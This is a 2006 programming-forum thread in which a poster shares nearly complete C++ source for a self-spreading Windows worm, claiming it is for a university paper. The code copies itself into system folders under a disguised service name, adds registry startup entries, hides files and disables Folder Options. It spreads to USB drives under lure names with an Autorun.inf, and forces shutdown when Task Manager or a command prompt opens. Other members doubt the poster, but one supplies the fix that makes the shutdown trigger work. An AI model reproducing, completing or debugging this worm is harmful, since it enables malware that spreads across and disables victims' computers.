Click to See Complete Forum and Search --> : need some help in here....


insider
November 25th, 2006, 05:43 AM
Guys, i need your help....
Now, doing a little project for my study and on my application, something wrong happen in here. My application is like a worm, but i'm not try to release it, just for educational purpose only. Please don't ignore me.... :) . This my source code :


/*
----------------------------------
File name : Penelope.exe
purpose : for educational only
----------------------------------
*/

void penelope(); //install the application
void disable(); //make become hard to find
void spread(); //copy to usb
BOOL CALLBACK caption(HWND hWnd, LPARAM lPar); //read window caption
ULONG WINAPI killWind(LPVOID lPar); //kill window
ULONG WINAPI guard(LPVOID lPar); //create her backup
int addStartup(LPCTSTR valName,char * szPath,char * fName); //add to startup

using namespace std;

char szPath[MAX_PATH]; //path to file for module handle file
char fName[MAX_PATH]; //file name
int random, i;
HKEY hKey;

int main()
{
DWORD idTh1,idTh2;

CreateThread(NULL,0,killWind,0,0,&idTh1);
CreateMutex(NULL,TRUE,"::.PeneL0pE p1ss you o0F.::");
if(GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
penelope();
CreateThread(NULL,0,guard,0,0,&idTh2);
disable();
spread();

return 0;
}

void penelope()
{
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));

GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetSystemDirectory(fName,sizeof(fName));
strcat(fName,"\\PeneLopE.exe");
addStartup("PeneLopE",szPath,fName);
}

void disable()
{
DWORD nilai = 1;
DWORD hidden = 2;
DWORD type = REG_DWORD;

LPCTSTR regMenu = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
LPCTSTR regExt = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
//disable menu : folder option
RegOpenKeyEx(HKEY_CURRENT_USER,regMenu,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"NoFolderOptions",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegCloseKey(hKey);
// hide : file extention, hidden file & system
RegOpenKeyEx(HKEY_CURRENT_USER,regExt,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"HideFileExt",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegSetValueEx(hKey,"Hidden",0,type,(LPBYTE)&hidden,sizeof(hidden));
RegCloseKey(hKey);
}

void spread()
{
char * drives[] = {"B:","C:","D:","E:","F:","G:","H:","I:","J:","K:","L:","M:",
"N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","X:","Y:","Z:"};
char * spreadName[] = {"Flash Game.exe","Jenna.exe", "Keygen.exe","Crack.exe"};
char exePath[MAX_PATH], cdburn[MAX_PATH], temp[MAX_PATH]; // 4 cdburn area folder
ZeroMemory(fName,sizeof(fName));
SYSTEMTIME tiktok;

random = rand()%4;

GetSystemTime(&tiktok);
if((tiktok.wMinute % 2)==0)
{
for(i=0;i<24;i++)
{
UINT driveType = GetDriveType(drives[i]);
if(driveType == DRIVE_REMOVABLE)
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
strcpy(fName,drives[i]);
strcat(fName,"\\");
strcat(fName,spreadName[random]);
CopyFile(szPath,fName,true);
SetFileAttributes(fName,FILE_ATTRIBUTE_NORMAL);
}
}
}
Sleep(1);

if((tiktok.wMinute % 10) == 0)
{
GetModuleFileName(GetModuleHandle(NULL),cdburn,sizeof(cdburn));
SHGetFolderPath(NULL,CSIDL_CDBURN_AREA|CSIDL_FLAG_CREATE,NULL,0,exePath);
strcpy(temp,exePath);
strcat(exePath,"\\");
strcat(exePath,spreadName[random]);
CopyFile(cdburn,exePath,false);

strcat(temp,"\\Autorun.inf");
CreateFile(temp,0,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
ofstream file(temp);
file<<"[Autorun]\n"<<"File="<<spreadName[random]<<endl;
file.close();
}
Sleep(1);
}

BOOL CALLBACK caption(HWND hWnd, LPARAM lPar)
{
HANDLE hTok;
TOKEN_PRIVILEGES tp;

char * capt[] = {"Windows Task Manager","Registry Editor","Command Prompt","System Configuration Utility","cmd.exe"};

int windLength = GetWindowTextLength(hWnd);
char * lpString = (char *)GlobalAlloc(GPTR,windLength+1);
GetWindowText(hWnd,lpString,windLength+1);

for(i=0;i<5;i++)
{
if((windLength!=0) && IsWindowVisible(hWnd) && (strcmp(lpString,capt[i])))
{
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hTok);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);

tp.PrivilegeCount = 1; //set one privilege
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hTok,FALSE,&tp,0,(PTOKEN_PRIVILEGES)NULL,0);
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);

return TRUE;
}
}
GlobalFree(lpString);

return TRUE;
}

ULONG WINAPI killWind(LPVOID lPar)
{
while(1)
{
EnumWindows((WNDENUMPROC)caption,0);
Sleep(1);
}
return 0;
}

ULONG WINAPI guard(LPVOID lPar)
{
OSVERSIONINFOEX osVer;
WIN32_FIND_DATA find;
HANDLE handle;
char search[MAX_PATH]; //to find penelope.exe
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));

osVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((LPOSVERSIONINFO)&osVer);
if((osVer.dwMajorVersion == 5) && (osVer.dwMinorVersion == 1)) //is Windows XP ??
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
SHGetFolderPath(NULL,CSIDL_APPDATA|CSIDL_FLAG_CREATE,NULL,0,fName);
strcat(fName,"\\Microsoft");
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}
else //not Windows XP
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetWindowsDirectory(fName,sizeof(fName));
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}

while(1)
{
//check penelope.exe
GetSystemDirectory(search,sizeof(search));
handle = FindFirstFile(search,&find);
if(handle == INVALID_HANDLE_VALUE)
{
if(!strcmp(search,"\\PeneLopE.exe")) //find PeneLopE.exe
{
penelope();
}
else
{
return TRUE;
}
}
FindClose(handle);
}
Sleep(1);
}

int addStartup(LPCTSTR valName,char * szPath,char * fName)
{
char temp[MAX_PATH];

strcpy(temp,fName);
CopyFile(szPath,temp,false);
SetFileAttributes(temp,FILE_ATTRIBUTE_HIDDEN);
ShellExecute(NULL,"open",temp,NULL,NULL,SW_HIDE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,valName,0,REG_SZ,(const unsigned char*)temp,sizeof(temp));
RegCloseKey(hKey);

return 0;
}


by the way, i'm using MSVC 2003 as IDE.... Problem in here, when i run it, my computer directly shutdown and when i restart again, after login page, and go to the desktop, my computer become shutdown again. Why ??

Thanx guyz for your help..... :)

zeRoau
November 25th, 2006, 06:05 AM
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);


kinda obvious why it shutdowns. I doubt this is your source code if you didn't know why it was shutting down =/

insider
November 25th, 2006, 06:53 AM
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);


kinda obvious why it shutdowns. I doubt this is your source code if you didn't know why it was shutting down =/

Yeah, what you said was right... :) I was try use ExitWindowsEx, but it doesn't work, so i use it.

Thanx for your correction.... :)

VladimirF
November 26th, 2006, 02:06 PM
Guys, i need your help....
Now, doing a little project for my study and on my application, something wrong happen in here. My application is like a worm, but i'm not try to release it, just for educational purpose only. Please don't ignore me.... :)
Why don't you choose something useful for your "education"?
Looking at your questions:
- how to delete files in "My Documents"?
- how to send file to all network ??
- how to disable internet connection?
and now this "worm" question, I don't think I need one more of "you guys" educated.
Don't you have your own forums? Try scum.com

insider
November 26th, 2006, 10:26 PM
Why don't you choose something useful for your "education"?
Looking at your questions:
- how to delete files in "My Documents"?
- how to send file to all network ??
- how to disable internet connection?
and now this "worm" question, I don't think I need one more of "you guys" educated.
Don't you have your own forums? Try scum.com

Thanx VladimirF....
But, truely i'm doing my research for my last paper in my university. I'm not joking... :) and for your record of my thread, i just want to know much better about C++. But, thanx for your suggest and i'm not offence anyone. Coz, i'm going to the deadline of my paper and in that paper, i don't put "worm" clause, but more application have blablabla ability. And if the deadline is not 2 weeks / more, maybe i wouldn't put this source on this website, coz i realize this will make some people doesn't like it so much.

Thanx...
Regards... :)

Zaccheus
November 27th, 2006, 04:05 AM
Guys, i need your help....
Now, doing a little project for my study and on my application, something wrong happen in here. My application is like a worm, but i'm not try to release it, just for educational purpose only. Please don't ignore me.... :) . This my source code :


...


by the way, i'm using MSVC 2003 as IDE.... Problem in here, when i run it, my computer directly shutdown and when i restart again, after login page, and go to the desktop, my computer become shutdown again. Why ??

Thanx guyz for your help..... :)

You are seriously suggesting that you wrote that but you don't understand why it is doing what it is doing?

insider
November 27th, 2006, 06:06 AM
You are seriously suggesting that you wrote that but you don't understand why it is doing what it is doing?

i made it by myself. I don't lie, except for this :

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hTok);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);

tp.PrivilegeCount = 1; //set one privilege
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hTok,FALSE,&tp,0,(PTOKEN_PRIVILEGES)NULL,0);
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);
The original is i use SendMessage() to close the window. I don't lie about that. But, the problem is when i run that code if suddenly shutdown (this because function InitiateSystemShutdown). And after login page in XP, go to the dekstop and going shutdown again, but i don't open any application. Just the desktop....
I would say apologize to all member in here if i'm bring the "junk" topic. Coz i don't know where i should go to. I'm really really sorry.... i just hope i've got some solution from all of you. And if someone know the answer, but don't wanna put in this thread, i hope you can send me a private message. And once again i said to all of you, i wouldn't release it and this truely for my final paper in my university.
Thank you very much.....

regards.....

zeRoau
November 27th, 2006, 06:18 AM
You don't understand why it restarts at startup? just wondering if that was a question in your post

insider
November 27th, 2006, 08:40 AM
You don't understand why it restarts at startup? just wondering if that was a question in your post

yes, that my question. Why it restart at startup ?? I hope somebody can answer my question...... :)

Thank you very much, zeRoau...

zeRoau
November 27th, 2006, 09:02 AM
Take a look at the addStartup function it adds itself to startup. Why would you be creating a worm for a uni project :/

insider
November 27th, 2006, 09:38 AM
Take a look at the addStartup function it adds itself to startup. Why would you be creating a worm for a uni project :/

Coz, i'm so interesting in how they working, such worm, virus, trojan, etc. And in my opinion, someone can prevent how they come to their computer if they know how it works. And thanks God, my lecturer give me a permission to make that paper. That's my reason.... And i hope someday, i could have my own anti virus....
Btw, i'm sorry for your solution to me. I'm have a little knowledge about understanding in english... For posting this thread, i still look at the dictionary... :rolleyes:, but i got this from your solution, i create addStartup function to make my application run when windows startup. I'm sorry if i'm wrong to catch what you mean...

thank you very muchhh....

regards...

Zaccheus
November 27th, 2006, 05:43 PM
i made it by myself.

The author wrote some very specific code to cause something to happen after reboot, which is causing the repeated shutdown you are asking about. That's why I find it unlikely that you wrote this program. ;)

insider
November 28th, 2006, 01:45 AM
The author wrote some very specific code to cause something to happen after reboot, which is causing the repeated shutdown you are asking about. That's why I find it unlikely that you wrote this program. ;)

i wrote this programm, i don't lie except that shutdown section. The original idea from me, before i make this application have ability to shutdown computer is to close window use function SendMessage(). But when i use function SendMessage(), i have some problem to the window have many tab, example Firefox, Opera, etc. If my application want to close the window, it must wait the confirmation to the user. That the reason i use somebody program that i found in internet, that is :

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hTok);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);

tp.PrivilegeCount = 1; //set one privilege
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hTok,FALSE,&tp,0,(PTOKEN_PRIVILEGES)NULL,0);
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);

Sorry for bad english.... i'm not use english in ordinary life... :)

regards.......

Zaccheus
November 28th, 2006, 09:06 AM
Are you saying that you don't understand what InitiateSystemShutdown does
or
are you saying that you don't understand why InitiateSystemShutdown is called after you log onto your machine?

zerver
November 28th, 2006, 11:07 AM
Actually, I believe this guy did in fact write this code because it is amateurish.

Also, it contains a bug in the routine that tries to restart the computer if any "dangerous" prog is found:

if((windLength!=0) && IsWindowVisible(hWnd) && (!strcmp(lpString,capt[i])))
(yes, put a "!" before strcmp and it should work)

insider
November 29th, 2006, 01:37 AM
Are you saying that you don't understand what InitiateSystemShutdown does
or
are you saying that you don't understand why InitiateSystemShutdown is called after you log onto your machine?

I mean, i don't understand why InitiateSystemShutdown is called after i log onto my computer. Yes, that what i'm gonna say... :)

thank you very much.... :)

insider
November 29th, 2006, 02:28 AM
Actually, I believe this guy did in fact write this code because it is amateurish.

Also, it contains a bug in the routine that tries to restart the computer if any "dangerous" prog is found:

if((windLength!=0) && IsWindowVisible(hWnd) && (!strcmp(lpString,capt[i])))
(yes, put a "!" before strcmp and it should work)

hehehehe, yes i'm a amateur.... :p and i wanna try to be a good programmer.... :) and for your solution and your response, i want to say thank you very much.

regards... :)